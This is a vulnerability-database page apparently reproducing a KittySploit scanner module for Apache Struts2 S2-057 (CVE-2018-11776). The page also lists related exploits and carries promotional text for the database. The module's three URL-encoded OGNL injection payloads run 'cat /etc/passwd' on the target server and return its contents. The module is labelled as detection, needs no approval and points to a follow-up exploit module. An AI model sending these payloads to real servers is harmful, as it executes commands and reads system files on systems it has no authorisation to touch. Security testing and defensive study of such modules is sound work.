Lucene search
+L

Apache Struts2 S2-057 - Remote Code Execution Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 3 Views

Remote code execution in Apache Struts2 when alwaysSelectFullNamespace is true.

Related
Refs
Code
ReporterTitlePublishedViews
Family
gitee
Gitee
Exploit for CVE-2018-11776
18 Jun 202018:07
–gitee
gitee
Gitee
Exploit for CVE-2018-11776
2 Jan 202017:01
–gitee
gitee
Gitee
Exploit for OS Command Injection in Gnu Bash
27 Jul 202504:21
–gitee
githubexploit
GithubExploit
Exploit for CVE-2018-11776
23 Aug 201820:06
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2018-11776
24 Aug 201803:01
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2018-11776
28 Aug 201823:48
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2018-11776
25 Aug 201812:45
–githubexploit
githubexploit
GithubExploit
Exploit for Expression Language Injection in Atlassian Confluence_Data_Center
6 Oct 202123:24
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2018-11776
24 Aug 201803:01
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2018-11776
24 Aug 201803:01
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts versions 2."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Apache Struts2 S2-057 - Remote Code Execution Detection',
        'description': "Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in same time, its upper package have no or wildcard namespace.",
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2018', 'packetstorm', 'apache', 'rce', 'struts', 'kev', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['exploits/multi/http/apache_struts2_cve_2018_11776_rce'],
            },
        },
        'references': [
            'https://github.com/jas502n/St2-057',
            'https://cwiki.apache.org/confluence/display/WW/S2-057',
            'https://security.netapp.com/advisory/ntap-20180822-0001/',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-11776',
            'http://packetstormsecurity.com/files/172830/Apache-Struts-Remote-Code-Execution.html',
        ],
        'cve': 'CVE-2018-11776',
    }

    def run(self):
        for path in ('/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%[email protected]@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%[email protected]@getResponse%28%29.getOutputStream%28%29%29%29.%[email protected]@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action', '/%24%7B%28%23dm%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%[email protected]@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%[email protected]@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29%29.%[email protected]@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action', '/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action'):
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ""
            body_regexes = ('root:.*:0:0:',)
            if any(re.search(rx, body) for rx in body_regexes):
                self.set_info(
                    severity='high',
                    reason='Apache Struts2 S2-057 - Remote Code Execution detected',
                    path=path,
                )
                return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Sep 2026 06:36Current
8.9High risk
Vulners AI Score8.9
CVSS 3.18.1
CVSS 29.3
EPSS0.99994
SSVC
3